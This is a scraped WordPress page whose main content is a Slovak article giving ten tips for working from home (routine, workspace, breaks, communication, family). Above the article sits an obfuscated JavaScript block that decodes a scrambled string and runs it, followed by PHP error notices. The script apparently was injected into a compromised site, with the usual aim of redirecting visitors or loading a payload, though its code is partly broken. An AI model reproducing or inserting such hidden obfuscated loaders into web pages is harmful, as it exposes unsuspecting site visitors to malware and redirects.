var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();
Notice: Trying to access array offset on value of type null in /bitnami/wordpress/wp-content/plugins/sitepress-multilingual-cms/classes/plugins/wpml-plugins-check.php on line 18

Notice: Trying to access array offset on value of type null in /bitnami/wordpress/wp-content/plugins/sitepress-multilingual-cms/classes/plugins/wpml-plugins-check.php on line 22

Notice: Pri dekódovaní JSON súboru /opt/bitnami/wordpress/wp-includes/theme.json nastala chyba: Syntax error in /opt/bitnami/wordpress/wp-includes/functions.php on line 4578

Notice: Pri dekódovaní JSON súboru /opt/bitnami/wordpress/wp-includes/theme-i18n.json nastala chyba: Syntax error in /opt/bitnami/wordpress/wp-includes/functions.php on line 4578

Notice: Pri dekódovaní JSON súboru /opt/bitnami/wordpress/wp-includes/theme.json nastala chyba: Syntax error in /opt/bitnami/wordpress/wp-includes/functions.php on line 4578
10 tipov na prácu z domu - Czech Republic

10 tipov na prácu z domu


1. Držte sa rutiny

Držte sa svojej rannej rutiny. Zdvihnite sa, osprchujte sa, oblečte sa a možno dokonca podniknite krátku prechádzku, kým sa dostanete k  počítaču a začnete pracovať. Iba preto, že môžeme začať v pyžame, to neznamená, že by sme aj mali.

2. Vytvorte si špecifické pracovné miesto

Nerobte chybu a nepracujte zo svojej spálne, pretože veľmi budete spájať vašu spálňu iba s prácou. Ak prepojíte svoju spálňu s prácou, môže to zničiť vaše spánkové vzorce. Takže špičkovým tipom je určiť priestor len pre prácu.Ak môžete, investujte do pohodlnej stoličky a samozrejme dávajte pozor na „tech neck“. To znamená, že ak nemôžete použiť externú obrazovku, aspoň sa pokúste dať prenosný počítač na hromadu kníh, aby ste si váš krk mohol oddýchnuť. Počas konferenčných hovorov môžete takisto občas vstať.

3. Buďte zameraní a urobte si prestávky

Je vždy vhodný čas na to, aby ste si vymysleli svoje zručnosti v oblasti riadenia času, najmä pri práci z domu. Začnite každý deň tým, že určíte, čo tento deň musíte urobiť a ako to chcete urobiť. Náš tip je preto zaznačiť si čas vo vašom kalendári na prestávky, nielen na to,  aby ste si naplánovali svoj čas realistickejšie, ale aj na zabezpečenie času na dobitie.

4. Rozbehnite komunikáciu

Väčšinou trávime väčšinu času v tesnej blízkosti našich kolegov, čo uľahčuje zostať v synchronizácii bez námahy. Teraz, keď nie sme v blízkosti kolegov, musíme pamätať na to, aby sme tieto komunikačné linky udržiavali otvorené. Našťastie dnes existuje veľa nástrojov, ktoré sú k dispozícii, aby nám pomohli s videohovormi, digitálnymi rozhovormi a dokonca aj digitálnymi tabuľami alebo programami spolupráce.A nezabudnite, že pri digitálnej komunikácii dochádza k empatii dôležitejšie ako kedykoľvek predtým. Snažte sa každý deň si pripomenúť, aby ste vždy prevzali pozitívny úmyseľ , aj keď možno budete chcieť do tejto poslednej správy čítať niečo iné.

5. Precvičujte si svoju starostlivosť

V časoch izolácie je ľahké spochybniť význam produktívnosti a šťastia. Napríklad dôležitosť starostlivosti o seba. Možno si budete musieť každý deň spraviť čas na cvičenie. Možno potrebujete čas na meditáciu. stačí sa vám ubezpečiť, že ste si naplánovali prestávky, ktoré ste si naplánovali. Keď ste v kancelárii alebo doma, mali by ste uprednostňovať svoje zdravie a bezpečnosť.

6. Zistite, kde pracovať

Podpora práce z domu bolo ľahké rozhodnutie zamestnávateľa, aby pracovníci boli produktívni s prenosným počítačom a smartfónom. Ale váš domov môže byť menej pripravený, pokiaľ ide o funkčnú domácu kanceláriu. Nájdite najlepšiu kombináciu stolov a stoličiek, ktoré vám poskytnú najlepšiu  pracovnú pozíciu. Plánujte si každodenné nastavenie a rozobranie  svojho pracovného miesta. Potrebujete vhodné miesto, kam ísť, bez toho, aby sa vaša rodina zbláznila zo stálych kancelárií na viacerých miestach po celom dome.

7. Plánujte svoj deň inak

Naše pracovné dni v kancelárii sa líšia v závislosti od vašej profesie. Pre nás všetkých je najdôležitejšou zmenou dočasné odstránenie osobných stretnutí. Venujte nejaký čas definovaniu toho, čo je kritické a možné v tejto novej situácii. Stretnutia, ktoré sú dôležité budú virtuálne, ako jediný zostávajúci spôsob spolupráce. Očakávajte, že budete mať viac času na prácu orientovanú na úlohy, ktoré sami určujete.

Tiež prestávka na obed s niekým, kto pre vás varí, je často dôležitou poldennou prestávkou. Dobrým spôsobom, ako pridať rutinu, je naplánovať obedové menu na týždeň. Varenie od nuly pri obede každý deň je časovo náročné. Donáška z miestnych reštaurácií môže byť stále možnosťou, ako prispieť k miestnemu obchodnému životu.

8. Zabezpečený prístup k širokopásmovému pripojeniu a nástrojom

Skutočná hodnota dvojitých displejov, extra myší a robustného prístupu na internet nemusí byť v práci zrejmá, ale čoskoro to zistíte. Vašou domácou pracovnou nadáciou bude váš smartphone a laptop, doplnený dobrými pevnými a mobilnými širokopásmovými pripojeniami, ktoré sú testované na stres. Viacerí domáci pracovníci a vzdelávanie a hranie hier pre vaše deti v rovnakom čase.Ak sa spoliehate iba na audio pri svojich každodenných konferenčných hovoroch, zvážte zahrnutie možností videa. Videokonferencie prinesú späť trochu stratených ľudských interakcii.

9. Zostaňte sústredení, s rodinou okolo vás.

Nemusíte byť sami doma.  Dvaja dospelí, ktorí pracujú z domu, sú novým scenárom vo väčšine rodín a domáca výučba detí pridáva na komplexnosti. . Veľkou výzvou, ktorej všetci čelíme, je to, ako sa sústrediť v tomto novom prostredí. Podporujte sa navzájom pri spravovaní simultánnych virtuálnych stretnutí. Kľúčom k vašej produktivite je získať nepretržitý čas na prácu zameranú na úlohy.

10. Experimentujte a rozvíjajte svoje digitálne zručnosti

Nasledujúce týždne odhalia vaše nedostatky, pokiaľ ide o digitálne zručnosti. Vynikajúca príležitosť  na zlepšovanie sa. Využite príležitosť experimentovať s novými digitálnymi nástrojmi a zručnosťami. Vytvorte krátke videá alebo podcasty pre svojich zákazníkov. Teraz je vynikajúca príležitosť na to, aby ste v nových odvetviach napredovali.

This site is registered on wpml.org as a development site.